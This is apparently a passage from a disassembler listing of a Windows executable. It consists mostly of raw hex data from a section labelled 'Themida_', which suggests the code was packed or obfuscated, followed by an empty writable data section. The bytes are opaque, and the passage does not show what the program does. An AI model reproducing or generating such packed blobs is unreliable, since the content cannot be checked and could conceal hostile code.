		dd 6609A8E1h, 0FE04DBEh, 8Eh, 18E0F00h,	0F5000000h, 4170BE66h
		dd 8B665F52h, 84B9F8F0h, 816F2E11h, 0C41380DFh,	77BB6645h
		dd 19B866FDh, 0AE9D8h, 61C50000h, 0C8EF22E2h, 51B75B66h
		dd 72BC8ABBh, 0A56EB905h, 10E906C0h, 82000000h,	73CC1849h
		dd 84678A42h, 0F6F5E6BCh, 0E9440AB6h, 6, 7EBBFC0Eh, 8A0FF9D3h
		dd 16h,	11E9h, 84AFBD00h, 0FEB712C4h, 0D618A385h, 0D11746A0h
		dd 810FDF30h, 5, 487BB3BAh, 0C8E48012h,	14E9h, 1C8CEC00h
		dd 0F6500DEBh, 8384CC9Bh, 8C1043Ch, 0ABE523CEh,	8166608Fh
		dd 0F2988C8h, 38Ch, 0CEB70F00h,	18F0F61h, 0FC000000h, 0E8F5ED80h
		dd 0Dh,	4D2208F5h, 0B2D835BAh, 7F094A25h, 92D8BBC2h, 8A5E567Ch
		dd 0DF8166DAh, 0F08A77B7h, 0F0DCA80h, 0A8Ch, 5E900h, 25AD0000h
		dd 66ACCEFBh, 4D2D781h,	0DE8h, 0CD346D00h, 50B7243Dh, 9AE082D0h
		dd 890F2887h, 17h, 11E8h, 55856000h, 0D9E3ED16h, 0F07F8777h
		dd 0C9CD08D6h, 5B5F1102h, 0BA593DBAh, 3CF68060h, 0FF28B60h
		dd 283h, 61F5B600h, 8C0FF08Bh, 2, 0DE95EB3h, 0C3000000h
		dd 7B6F82B9h, 3DD11Ah, 0C3B78D99h, 0E924D280h, 0Bh, 8E33DF3Dh
		dd 3CDED0BCh, 6081EFD1h, 0FE9h,	4D9C1500h, 3A683004h, 4A5E5454h
		dd 0CAEC4D14h, 5E961h, 36730000h, 0F944ADEh, 8F0FD8B7h
		dd 9, 66E4B460h, 0D6ABE181h, 68D0F61h, 81000000h, 9905CBCBh
		dd 66CB8B28h, 8166F18Bh, 8A08DDC1h, 816660C3h, 61E636E8h
		dd 8E9h, 9EE43C00h, 4EB8CDF1h, 17CC805Ch, 0FE88166h, 0C2BF0FE0h
		dd 0AE9h, 0C0193F00h, 3183679Fh, 0F7190E6h, 0CB8BC8BFh
		dd 8B0FD58Ah, 0
		dd 83721FB9h, 0DEBF0F7Bh, 0C2816660h, 0E861EF9Fh, 0Eh
		dd 0A638574Fh, 0C3B5112h, 0B2BC50F3h, 8B53D161h, 8B585AD6h
		dd 10E9D0h, 2EF20000h, 8A88C44Ah, 40E0A835h, 71522E0Ah
		dd 0BA66970Fh, 800F940Ch, 2, 8B66CB8Ah,	3800FCEh, 66000000h
		dd 0CE81C38Bh, 15A3D8F3h, 28A0Fh, 0D78B0000h, 7E9h, 0CFC59300h
		dd 8D6F4461h, 12E9h, 0B79F1000h, 5F424665h, 50476110h
		dd 929D6CC0h, 0F8857365h, 48D0Fh, 53530000h, 0D38B5F59h
		dd 6042E280h, 3BB6660h,	0D7816637h, 0F61BA8Dh, 68Ah, 78CB8100h
		dd 6167FEB8h, 0CF8B6051h, 8B665F61h, 0B86660DEh, 880F7C29h
		dd 6, 0AE73C681h, 0F610AB7h, 8166DEBFh,	0F86CC0E0h, 5E9h
		dd 67D93300h, 810F12ADh, 4, 5E616056h, 81F9C38Bh, 3C805ADFh
		dd 5E90Fh, 67080000h, 0F98A9792h, 0E2BF66FCh, 9E9E0h, 897B0000h
		dd 2B551838h, 665BE0C9h, 0E92515BFh, 0Bh, 0CC9857AFh, 0D50490F3h
		dd 66ECC100h, 813E381h,	7B9FBA60h, 0BE663A25h, 606169F0h
		dd 4830Fh, 0BB660000h, 0E9B3F0E6h, 8B96661h, 41BF665Fh
		dd 0FDAB5BFh, 0EE8C0B7h, 18000000h, 4C511DFCh, 6E74DF28h
		dd 0E5E77AACh, 2DBF6667h, 0D6815A53h, 1D1445A3h, 8166FA8Bh
		dd 0F8B2D3DBh, 81D9BF0Fh, 925B77E0h, 0C281666Eh, 0FF591B7h
		dd 0C880DBB7h, 0DE9FCh,	6E340000h, 2E99136Ch, 0EC8A99E7h
		dd 6030CD79h, 613DB5FCh, 0F26B060h, 388h, 0F18B6600h, 7E961h
		dd 0F1890000h, 95AE9646h, 81666089h, 610F09D0h,	4B0FBB66h
		dd 0EE9h, 259A8E00h, 0DE33AF62h, 770B773Dh, 5231FA99h
		dd 8B665BFCh, 66F58AC7h, 7BB6DF8Bh, 66F9B70Fh, 9D9DD381h
		dd 5888D381h, 0C0812FBFh, 6BC8FA6Dh, 6C71BE66h,	0EE9h
		dd 0BCF0F00h, 834F152Fh, 0B2490C19h, 0E89DC34Ch, 11h, 6D7BF80Fh
		dd 0DC237745h, 988A8D6Ah, 58CC8F89h, 0E859F990h, 5, 0B2FEDA40h
		dd 0B8B8665Bh, 0B9665E87h, 5E84EC3h, 0D000000h,	13607AC7h
		dd 0D2C7B966h, 0D008BB5Fh, 816643F0h, 0E8D3F0C9h, 7, 0AA753DA4h
		dd 0B4355184h, 0C38B5F4Dh, 11E8h, 0A0FCE00h, 2914F6F3h
		dd 0BAC7CDC6h, 8D62A347h, 0B1B2C612h, 2A8EBF5Bh, 0EE909FBh
		dd 82000000h, 7092364Fh, 0CD167531h, 618EBE17h,	7E9D5h
		dd 29750000h, 9C036305h, 9E8A3h, 0C9360000h, 8564C305h
		dd 0F8BE8BA1h, 0BA66605Eh, 840F2151h, 6, 687CCA81h, 0F6136C2h
		dd 489h, 10B86600h, 58E0F47h, 66000000h, 0D13ADF81h, 19A5C681h
		dd 0F571E29h, 6658FABFh, 0BF9BC9BFh, 72D1BA10h,	8B0FC78Ah
		dd 0Ch,	68C0Fh,	0E9810000h, 1CE82545h, 0E951A4B2h, 12h
		dd 0DE4B29E3h, 65667A45h, 0F463688Fh, 5DD9D91Dh, 8B586745h
		dd 10E9F0h, 1CB0000h, 0C031F553h, 93AB4947h, 776FCEFCh
		dd 0FF96ECDh, 0DE81D2B7h, 3587EF75h, 14E88166h,	0DF8B66EBh
		dd 0E9C28B66h, 10h, 487312C8h, 0BA42C3FBh, 44A22034h, 0AB789176h
		dd 19840Fh, 0E9560000h,	12h, 0E4FF84C8h, 1465FD33h, 4CDB0E16h
		dd 0A5A8203Ah, 8B5BB5FAh, 8B0F60CEh, 2,	810FD0B3h, 5, 0D7AFE3BAh
		dd 810F616Ch, 29h, 0FE8h, 0A50E5800h, 74D7100h,	0E75AE8E7h
		dd 0DF445105h, 0FE9h, 0CE5E3000h, 0DF1934D9h, 0D24233Fh
		dd 8AE2B9E3h, 810F59h, 0F000000h, 0CE9F8B7h, 0B2000000h
		dd 3B6BC8DAh, 2D33948Eh, 0E801E894h, 0Bh, 918A7CB0h, 4206BAA4h
		dd 0F9B4899Fh, 0C8D0F5Ah, 0E9000000h, 7, 5CE6B5CEh, 604569ADh
		dd 60AD681h, 61F8125Fh,	63BB6660h, 7E9EBh, 0CA4D0000h
		dd 0C02CDD7Fh, 8E961A8h, 17000000h, 57CBF1F4h, 664830A4h
		dd 23B4C28Bh, 108E0Fh, 0F9600000h, 7E8h, 304D9000h, 789B02BBh
		dd 0A0B8615Bh, 662DBAD5h, 0E90398BEh, 7, 0EFFB6429h, 6072DC8Bh
		dd 810F60h, 0F000000h, 84h, 0F9536100h,	0B866615Fh, 0CE8B1BF2h
		dd 0CFD68060h, 4800Fh, 0BF660000h, 8161F3BBh, 759EE9D9h
		dd 0BF665013h, 0E95E7539h, 11h,	0E7395180h, 2C0F807Ah
		dd 4B79C2DAh, 86A6648Eh, 95CE81D4h, 564A540Bh, 3860Fh
		dd 0CC800000h, 0B9B25F57h, 9AEF8166h, 0C3B70F1Ah, 0CBF480F8h
		dd 7E9h, 0F293E100h, 52260626h,	12E9h, 0CCB2C900h, 910F1B0Dh
		dd 158DB7B7h, 62D885A5h, 0BF112224h, 2666CD0Dh,	8E9h, 38751B00h
		dd 2CDF90F4h, 5E94Ah, 0AD180000h, 609CD20Dh, 0FF8B70Fh
		dd 88h,	0E9F86100h, 9, 0F303C862h, 4F334E99h, 66CA8BB1h
		dd 0FE8F38Bh, 0AA000000h, 133EA3C3h, 643B29F3h,	737C47BDh
		dd 820F1772h, 6, 8C0Fh,	0F590000h, 8B66D3B7h, 0C78B66D7h
		dd 0FE960h, 72D60000h, 76DD795Ch, 2C08FF38h, 96E20D3Dh
		dd 0BE961A2h, 30000000h, 5F6A22Ah, 61DE4F3Ah, 6CB17345h
		dd 0BE9h, 0D5A1E700h, 66681C5Bh, 87DFB1FBh, 0BBCFD180h
		dd 6A07E41Ah, 0C6BF0F51h, 0F0B70F58h, 0F9CBBF0Fh, 80D3B70Fh
		dd 666076F6h, 12C7F381h, 0FDBF6660h, 6E3CBA4Dh,	61613106h
		dd 3880FF5h, 0F000000h,	0DB81F0BFh, 1952FD8Dh, 841D73BAh
		dd 8CE98100h, 605FE313h, 49E827B9h, 8B66617Bh, 13810FC3h
		dd 0E8000000h, 7, 0DF1F7FFCh, 81D5EFE5h, 65FC2ACBh, 0BF0F5E00h
		dd 0CE8166DEh, 74BA31D3h, 0F53EC8D8h, 0E18AD78Bh, 81D6C380h
		dd 99DD98F7h, 0EDB96618h, 0BE0FB6C0h, 48D61352h, 0A8E0F60h
		dd 0E9000000h, 5, 0F42E14FDh, 4F681FEh,	613C98B4h, 3FB6E58Ah
		dd 9E9h, 474F1900h, 3715C77Eh, 53605A8Ah, 0CA74D081h, 0F5F2F81h
		dd 682h, 850F00h, 61000000h, 28B0Fh, 0D78B0000h, 3FC68166h
		dd 0B4BE6623h, 11E9565Bh, 56000000h, 7B9223EDh,	82423B1Fh
		dd 1EE9C2EAh, 0BA451E2Eh, 0C7BF0F5Fh, 0E0A42DB8h, 8880F2Fh
		dd 0F000000h, 28Dh, 8BD78B00h, 48E0FFEh, 66000000h, 66CE17B9h
		dd 66B203B9h, 0CF8BCE8Bh, 0AE8h, 6FBC5B00h, 6D80A855h
		dd 0E98CEAECh, 9, 158FC8DEh, 6B9FF2Fh, 0D98B5E87h, 43DB8160h
		dd 614D4329h, 0EA816060h, 7DABB3C7h, 0C5ED8061h, 0CEBF0F61h
		dd 66D8BF0Fh, 0F995DBFh, 486h, 0F08B5200h, 41D1BB58h, 12E80C8Dh
		dd 0AE000000h, 0C33D52A2h, 5008639Ch, 0A0F23D3Bh, 0E211C202h
		dd 0CF8B58B2h, 0BE8h, 9860F900h, 0BD1E565Fh, 0D78A12C9h
		dd 0EE958F8h, 0EF000000h, 2C625019h, 7073DA5Fh,	7C89D708h
		dd 8166532Dh, 59FF2AD6h, 7446BF66h, 0B70FE78Ah,	0F3B70FF1h
		dd 728ED981h, 0F08160D4h, 516F016Eh, 0FD1BF0Fh,	48Bh, 5A565300h
		dd 0CC806058h, 61F78B33h, 0F5C68B66h, 62E88166h, 0BBA66A5h
		dd 198B0F1Bh, 0E8000000h, 12h, 3377D515h, 0A5A62526h, 0B04C5968h
		dd 66B99F32h, 5FFC90BAh, 4DB96651h, 8B665A02h, 602CB0F3h
		dd 0B8C28166h, 0FE9B7h,	41D80000h, 0E28507CBh, 8660A79Eh
		dd 4CDFF07Eh, 0B70F617Eh, 6E8F7h, 0C38C0000h, 0A32B775Dh
		dd 13E9h, 3236C00h, 415A4ADCh, 4EB5A675h, 0BE51FFD7h, 9C635000h
		dd 0C881605Ah, 0D9AEE1Dh, 665E5760h, 612647B9h,	0D68B6661h
		dd 0AFFBE281h, 0B70F1A88h, 10E8FCC6h, 0F000000h
		dd 0A78C8511h, 0FD0EA0CEh, 902B5612h, 81D0B60Ch, 3A9D1EE6h
		dd 8B665F1Ah, 9DF380C2h, 0E949DC80h, 8,	17E15EEDh, 0F5D794C2h
		dd 0AE8FE8Bh, 82000000h, 113F9DD3h, 24167A55h, 11E996h
		dd 5C640000h, 0DFB9962Bh, 55BE4C9Fh, 0C0392031h, 5F2E337Fh
		dd 0F7B70F60h, 8161F38Ah, 198E9ADEh, 30C88127h,	0F6FF7DDh
		dd 8F0FC2BFh, 2, 840F6EB1h, 2, 8A0F46B0h, 5, 0F9C98166h
		dd 0F18B666Dh, 2BAFADBFh, 0E956B130h, 0Bh, 0B1646F65h
		dd 0FBF5BD72h, 5233137Eh, 0C0E38166h, 0DE805EF1h, 0F8C18BA2h
		dd 27F68166h, 66595638h, 3911D681h, 0FD8B70Fh, 78Ch, 81665200h
		dd 59991FD6h, 188C0Fh, 13E90000h, 0CB000000h, 0E5E6AC7Ah
		dd 725B0330h, 2776D22Fh, 0D30037DBh, 890FCB9Bh,	2, 13E9C78Ah
		dd 96000000h, 13181606h, 74959BE5h, 668B892Ch, 4F82D914h
		dd 0E9609236h, 0Ah, 0FE07DEBDh,	6A7AF155h, 8A0F009Bh, 3
		dd 6135F780h, 10E9h, 0E1F58300h, 71234FCh, 73AF2222h, 0EA93D9B7h
		dd 8F0F09h, 0F000000h, 1189h, 0CE900h, 71AB0000h, 2C6F3D86h
		dd 0F7DC7EBAh, 8E0FC701h, 0
		dd 0FFB9C081h, 8B0F15C1h, 8, 28E0Fh, 0CA8B0000h, 0E8DFBF0Fh
		dd 0Eh,	73667051h, 0DC81A85Ch, 32901180h, 890F2ABFh, 0Bh
		dd 6E9h, 61741800h, 59F89A03h, 8E8h, 908F9D00h,	0B5082E20h
		dd 0AE9F0h, 8C650000h, 5A07BA87h, 8567415Ch, 4830F5Eh
		dd 51000000h, 0F59C78Bh, 18Bh, 8D0FF900h, 3, 0B8D6B70Fh
		dd 1DC0316Ah, 0FE952h, 0B650000h, 4082700Dh, 70E691DCh
		dd 0BCC08025h, 8C0F5F02h, 0Bh, 6E9h, 37D43100h,	8A7B34B3h
		dd 11E9F1h, 9F3C0000h, 0E62F86C3h, 0BBEFEB36h, 0DE5E8023h
		dd 0E94709E2h, 0Dh, 0FB248160h,	5F22B2AFh, 2FF96FB0h, 198F0FD3h
		dd 0E8000000h, 13h, 8C212EABh, 19641703h, 3B1720AFh, 98D6C09Ah
		dd 5F706C05h, 8E8h, 9D536900h, 6FF92FBFh, 6810F28h, 0F000000h
		dd 86h,	0EB815900h, 606B674Ch, 0C1CE8166h, 0FD38BCDh, 48Fh
		dd 0ABBA6600h, 0EF815753h, 21B8E6F9h, 8B66F95Eh, 0FEC8AF1h
		dd 8166F1B7h, 0E97865C8h, 0Fh, 0C57BD01Fh, 1FC9E027h, 53E8E6B9h
		dd 0E8195C12h, 0Fh, 9C0F70B0h, 0AF5C080Fh, 4D15E54Dh, 66CA79E3h
		dd 7680E181h, 0D5B9665Eh, 12E9ACh, 70AD0000h, 98B35BE2h
		dd 0ACC8138h, 159D4132h, 579E1275h, 5E8h, 0AB494700h, 0B751FC93h
		dd 0E9585867h, 0Ah, 221411BCh, 0A33EB3E1h, 13E9808Bh, 3F000000h
		dd 927C5828h, 17F7426Eh, 83F80788h, 0F36EC510h,	66F5D91Ah
		dd 5760D88Bh, 535FF38Ah, 615A6160h, 66D9B70Fh, 0DEC5DE81h
		dd 0AF51C981h, 8A0F3481h, 0Ah, 0BDA1BA60h, 8B6675AEh, 0E88161F2h
		dd 46F59E7Ah, 0BF0F6DB4h, 0FE9F2h, 6CF80000h, 0A464B4F5h
		dd 862942Fh, 751E1ED9h,	630DBA4Dh, 11E85F28h, 0FB000000h
		dd 9F820977h, 120C2CC9h, 0BB8E38EFh, 7524CBB0h,	0EA816651h
		dd 5B599782h, 98F0Fh, 8C0F0000h, 3, 81FA8B66h, 0D0AFD4C0h
		dd 0DF806053h, 0EF8166CFh, 8061CB5Ch, 8CB7F2C7h, 0B051C780h
		dd 0CA8166B4h, 0D08B60A1h, 0E97EDFB8h, 66CB8B22h, 0E9D9F781h
		dd 12840Fh, 0DE90000h, 0AD000000h, 0A2B8315Dh, 7F8D51ECh
		dd 0E6BEBFA6h, 0F66E99BEh, 3870F15h, 80000000h,	0CCB194D2h
		dd 850Fh, 0BF0F0000h, 0D68B66F6h, 7E960h, 0BAFE0000h, 0F3327CF8h
		dd 0DE8BEh, 72680000h, 8D583F0Eh, 9B7F9880h, 0E83AE8C7h
		dd 8, 0C5891E8Ah, 28C46ADDh, 60615A5Bh,	0A7E88166h, 28E0FB8h
		dd 60000000h, 0F536161h, 58Ch, 0F6816600h, 605ABD6Bh, 0B73BF66h
		dd 0E95661F9h, 0Dh, 0F4AC5083h,	41DAC5B4h, 0A0D377F5h
		dd 820F585Dh, 2, 0F88A5B52h, 1A800Fh, 14E80000h, 4E000000h
		dd 0AD3BE069h, 0BD22589Eh, 1AAA4B25h, 23DA2F8Ah, 585DE391h
		dd 0AE957h, 5E660000h, 0F128DE24h, 9B408D7h, 80C88B5Ah
		dd 4AB9B2E5h, 0BB5FF48Dh, 15024965h, 6E9F560h, 0CB000000h
		dd 9EE28507h, 14E961A7h, 0EC000000h, 44034B1Ch,	7060E131h
		dd 0A288CCDFh, 7C0F509Ch, 66ACD17Bh, 0FFA4F281h, 0DE9h
		dd 0E87B5500h, 4EAAB7AEh, 0A002DEFEh, 8C0FE5F2h, 2, 0EA8A5952h
		dd 11E9h, 4E7A5D00h, 4293718Eh,	0C83402EAh, 1AE5B0B5h
		dd 5360A21Bh, 0BE9h, 0CBF99300h, 0E884235Fh, 0CE7B83D1h
		dd 2860F5Fh, 53000000h,	0E9F5615Ah, 0Eh, 0EA9825F8h, 817BCC00h
		dd 0AEF9BCADh, 8166A336h, 0B78212F7h, 0C6816617h, 9B75CAEh
		dd 3870Fh, 0BF0F0000h, 0D88B66D9h, 0FE9h, 578C1500h, 0DB13866Fh
		dd 6ED0EC93h, 0DAB6C610h, 0E8C0BF0Fh, 10h, 0F49CA68Ah
		dd 0E2348C24h, 61414EB7h, 221C35C6h, 0B55CBE66h, 6E95Bh
		dd 12120000h, 0B3DBF365h, 3880Fh, 0D9800000h, 60605736h
		dd 7E961h, 3BC30000h, 748D8466h, 0E95A6144h, 10h, 472E3996h
		dd 0DD9E997h, 0A970BA46h, 0F63721DBh, 5E9h, 0E1B35200h
		dd 30B1E8D2h, 0CDC3F081h, 840F62D7h, 10h, 0BE9h, 66E6E00h
		dd 0D3676FBEh, 38582490h, 2830Fh, 0DFB40000h, 11E8h, 0D2562B00h
		dd 0FC5F3EB7h, 6B0B5B9Ah, 0B15B981Ch, 0B86613BFh, 665E090Ah
		dd 7E5AE181h, 3850Fh, 0B70F0000h, 10CA81FAh, 8127658Dh
		dd 3DA933F2h, 14E960h, 0BD630000h, 0DB763E3Ch, 0E9FA21D4h
		dd 81E5F1A6h, 256F0CF7h, 8E9E325h, 7E000000h, 0A567216Bh
		dd 0FC6EBDFh, 689h, 39C68100h, 8B7410AAh, 14E8C1h, 203C0000h
		dd 7E6A2F5Ah, 5C97A40Ch, 64E0ACh, 0C3AD1E86h, 0B160FB0Ch
		dd 0DE92Ah, 0F9B40000h,	0BEFDC2F6h, 0C65C1114h,	61D704DAh
		dd 58A0F5Bh, 0BB000000h, 27A08482h, 5E51F28Bh, 0F60D38Ah
		dd 286h, 0E9D98B00h, 5,	8D2708E0h, 8F0F6105h, 6, 0DCF6E281h
		dd 10E95778h, 0E8000000h, 0AFB3802Eh, 7247A3DAh, 9B990663h
		dd 6698EB69h, 0F83A96BAh, 3E97D681h, 8B665C59h,	17CAB8D1h
		dd 0E9FC4867h, 5, 0E8175784h, 13E956AAh, 94000000h, 60C7E3B3h
		dd 3DA751E6h, 0E92E4306h, 0D7807252h, 575A70D1h, 0FC5ED78Bh
		dd 6E860h, 93620000h, 87A01D45h, 0BFB9665Fh, 15BA617Ah
		dd 812C427Fh, 0D31CA7D9h, 0D08B6677h, 7E8FCh, 97B20000h
		dd 0F561AEAAh, 0C2BF0F97h, 0BF0FF95Ah, 5E8FFh, 43660000h
		dd 0E966B54Eh, 0Ah, 32E7C19Dh, 4C3994BCh, 0F5EF410h, 0F480F6B7h
		dd 0EE86036h, 0FE000000h, 0DB02D37h, 7EF37237h,	1B705CDBh
		dd 8B0F40h, 5E000000h, 806150B6h, 0B70F2EE1h, 7E9F1h, 0D1EC0000h
		dd 0EB15F3BFh, 0DF816644h, 8B6642CEh, 0DE951CEh, 0F8000000h
		dd 0D19086DAh, 0A75889DBh, 0C4542A8Ah, 11E85Eh,	65E60000h
		dd 6AD23B0Fh, 0B20417A3h, 73EFF3B9h, 0B064F177h, 5E85EE5h
		dd 72000000h, 0C9753296h, 0F5855B0h, 1A86h, 12E800h, 89E30000h
		dd 0F652A5D0h, 0EDDBB575h, 0E301FB96h, 0B4BB82CDh, 66595857h
		dd 5DECE81h, 2830F60h, 0B2000000h, 0C6816694h, 8B619BE4h
		dd 3AD881D8h, 0B0380870h, 3800FADh, 0F000000h, 880FC8B7h
		dd 3, 0E95EF850h, 11h, 6564A3F1h, 8AED87D5h, 0AC8D2CF8h
		dd 19EAC323h, 0E0FBB9C5h, 9E92BBEh, 0C2000000h,	50A51B3h
		dd 755D8986h, 9E8h, 28304400h, 0EF2559C3h, 0F605095h, 8Fh
		dd 0E85F6100h, 0Eh, 366322CEh, 0DB8924Eh, 4845D4AFh, 0F860BF0Dh
		dd 61CBB70Fh, 0CBB70F5Fh, 2850Fh, 0D78B0000h, 13E9h, 6FCF3300h
		dd 0FD345D2Eh, 0A83BBDB0h, 6D31D76h, 8A46DD89h,	0BE852h
		dd 9E1A0000h, 7EBEE2Fh,	6FC39665h, 665F5852h, 0EEBBD281h
		dd 0DEBC36BBh, 8E86Ch, 92CD0000h, 63052975h, 0FE99C03h
		dd 6C000000h, 97D7163Fh, 0C5C72EB9h, 0CB6EAD0Bh, 575A0DCAh
		dd 0DE9h, 2DD16A00h, 6E04531Ah,	0F047413Ch, 0B2588D0Eh
		dd 48C88107h, 0F1DE243h, 0FF9F2BFh, 1582h, 0DE800h, 0F8390000h
		dd 0E56CC8F5h, 0C5D0695Eh, 607F5B2Eh, 0BE665B61h, 0D6819194h
		dd 66A9F738h, 9E9h, 0BF49A300h,	671DA23Bh, 14E85F91h, 71000000h
		dd 0B40F18D2h, 60A957F6h, 0E382E5A8h, 97E67E04h, 0E9330EBEh
		dd 5, 4CB5078h,	0FF85B26h, 0E68AC3B7h, 5E8h, 0EEFFAE00h
		dd 830F79FBh, 2, 0F95891B3h
		dd 0ACC8DE81h, 8B5020BCh, 0F38B5FC6h, 7B9AE281h, 0E6803960h
		dd 0C8B70F92h, 820FAEB6h, 1Bh, 158E0Fh,	0FE80000h, 4C000000h
		dd 5C60DDEBh, 5F134A87h, 0C3AAAA7Bh, 0B3583EA3h, 0E78166BDh
		dd 8B6D071h, 10E9h, 74168A00h, 0A46055D7h, 0E8C68A9Bh
		dd 411F2133h, 58E0F40h,	66000000h, 56CDE181h, 27C88166h
		dd 8E8609Eh, 6A000000h,	0F56CF84Ah, 8BA464B4h, 0C38B5AD0h
		dd 9E961h, 0E31E0000h, 579CB740h, 50E8D1FFh, 5830F5Fh
		dd 0B8000000h, 0CFE28C7h, 52BBDE8Ah, 6631CD38h,	0AEB2CE8Bh
		dd 0B4F38B66h, 48E0F8Eh, 56000000h, 665E5E51h, 0ABD9C781h
		dd 4C9ED5B8h, 0F2B70F41h, 0AE9h, 6A967A00h, 5ED03CCFh
		dd 0B82E24EEh, 438FEB4Ah, 60FFB70Fh, 0DE9h, 0DFD87800h
		dd 0EFEA2164h, 7F3A15C0h, 0F6166CDh, 380h, 0C88B6600h
		dd 7E8h, 0AC91C200h, 9FC563C7h,	7AE18166h, 8D0F5F4Ah, 0Ch
		dd 7E9h, 1515BD00h, 45BE3C3Dh, 8B6660F5h, 0BF0F50F7h, 0BF615ED0h
		dd 4123C6ACh, 4ABA56F9h, 5A69991Eh, 0E2D18166h,	30B96677h
		dd 66A1B165h, 8D0FF08Bh, 4, 0B4F6BB66h,	6FC08166h, 9E92Bh
		dd 75AF0000h, 0C3A8DEA4h, 60EA17D9h, 66FB8B66h,	6661C28Bh
		dd 8D10CE81h, 0BFFB8BFCh, 4F2050CCh, 90E08166h,	5E8AAh
		dd 56EE0000h, 50BF92DFh, 595BF98Bh, 5E960h, 49650000h
		dd 0F1FD499h, 28Bh, 61D08A00h, 0BE8h, 0BC2E8C00h, 242BB70h
		dd 0F8C8811Ch, 5ECABF0Fh, 0F7BF0F57h, 0DE958h, 0B50000h
		dd 0DF4FA1E1h, 0CB52D855h, 609B31FEh, 0FCC0B70Fh, 0F88B6661h
		dd 0DFC78166h, 0C78166B8h, 8B5708AFh, 0E2B35ACEh, 94BBC88Bh
		dd 806F9944h, 0BF0F5ECDh, 4DEAB8F7h, 0BE82070h,	5B000000h
		dd 0D1F9E977h, 0D969C902h, 8E0F778Dh, 6, 546AD281h, 0B95A4FF6h
		dd 7A5741CCh, 18F0Fh, 60F80000h, 9FC0B966h, 12E9h, 0B71A8900h
		dd 6A92C0F6h, 9199ACE3h, 0F3425219h, 611854CEh,	10E9h
		dd 0AF3B2A00h, 885A1B72h, 9E8979F0h, 3CAA5D1Ch,	71C6817Dh
		dd 0E8790309h, 14h, 789F6B7Ch, 0C8822839h, 0AB442DA3h
		dd 48DDC30Ch, 0D611EE35h, 7E960h, 10C40000h, 0F997175Ch
		dd 0E9CB80C7h, 12E85961h, 0F2000000h, 40940550h, 69A561BEh
		dd 0F07C560Dh, 6B5F432Dh, 0EE86030h, 0BF000000h, 496875CBh
		dd 7FAFBE46h, 0C69E7368h, 0F68158A4h, 752C0173h, 0B9665861h
		dd 0CE818FB6h, 7212D814h, 0A573BB66h, 14E8D08Bh, 78000000h
		dd 4743D599h, 0D2A55052h, 317C4DA4h, 378B929h, 58D9FEA3h
		dd 0E9F8FD8Ah, 0Dh, 1705258Fh, 45F40B86h, 6ADF1E28h, 43BF664Eh
		dd 1BC38051h, 0CA81D38Bh, 7DD45F59h, 4800Fh, 0BA660000h
		dd 48B38492h, 66F78B66h, 6A19C281h, 0E6D2C381h,	56BA19CDh
		dd 0F5104698h, 8E9h, 948D2400h,	66CB7A88h, 0AE8D4h, 48A30000h
		dd 0A4DAE60Bh, 98551F55h, 0FAB70F60h, 8A0Fh, 59610000h
		dd 14F4BA66h, 0E9F9F88Bh, 6, 0AE0AC0BEh, 81666A81h, 0E9CC95DEh
		dd 14h,	0CBD5D162h, 0D70FB1CBh,	3E22CB86h, 7FD12C9Ch, 5FD93DAh
		dd 0FCEBF0Fh, 0DF8BDEB7h, 8F0F5852h, 0Dh, 8E9h,	1869D600h
		dd 22F7E7ECh, 7C880B2h,	0BF66CC8Ah, 5651F507h, 6E9h, 9A372500h
		dd 5B642E44h, 0CA81665Eh, 0D38030ABh, 93BB6625h, 552FBB05h
		dd 0E6802E1Eh, 0F9E1803Ch, 0F3D580F5h, 3093C181h, 0F60210Bh
		dd 9E9F0BFh, 0D1000000h, 2AD8BDA7h, 0F69A399Ah,	0FA8B5161h
		dd 0EE85Ah, 0F17E0000h,	0C62AECADh, 0B6A56C88h,	444926FFh
		dd 13E9h, 30176F00h, 0D69FE965h, 1586192Dh, 0C9806460h
		dd 0E25B53FFh, 0C5BF665Eh, 0FDD8A71h, 0A3BBD3BFh, 6602DE57h
		dd 6651D88Bh, 0CA69C081h, 0C0B70F5Bh, 5FADB050h, 0D1CF8166h
		dd 2C48BA9Bh, 0F5515820h, 6694B558h, 8F0FC18Bh,	9, 3840Fh
		dd 0B70F0000h, 0D38B66D9h, 80F3BF0Fh, 0BE9DBF4h, 3000000h
		dd 8CFC99A1h, 0AC2EBC8Ch, 39BF803Ah, 662BE0A9h,	0BE8C18Bh
		dd 36000000h, 23BBEFEBh, 0E2DE5E80h, 8FBF4709h,	583439BFh
		dd 58C0Fh, 56600000h, 0E961F95Bh, 0Dh, 8BF2560Bh, 84CA50F1h
		dd 0C9340971h, 0E800FFBh, 0E9000000h, 9, 0ED85131h, 817FDE25h
		dd 8166FCC9h, 0E97D60F6h, 5, 8B091E0Ah,	0BE9F9E6h, 6E000000h
		dd 3ED472DEh, 0BD568C5Eh, 0C3BF52F1h, 0B120294Dh, 0F18B6622h
		dd 0BBADBB66h, 770CB966h, 91F9D08Bh, 90h dup(910F47E5h)
		dd 223A6EE5h, 207h dup(223A6ED5h), 0FB3A6ED5h, 56Fh dup(0FB26D113h)
		dd 77E22B13h, 14Dh dup(77E22BBDh), 0CCE22BBDh, 0AA8h dup(0CCCCCCCCh)
		dd 0CCCCCCh, 9Ch dup(0)
Themida_	ends

; Section 5. (virtual address 001C0000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001C0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5C0000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start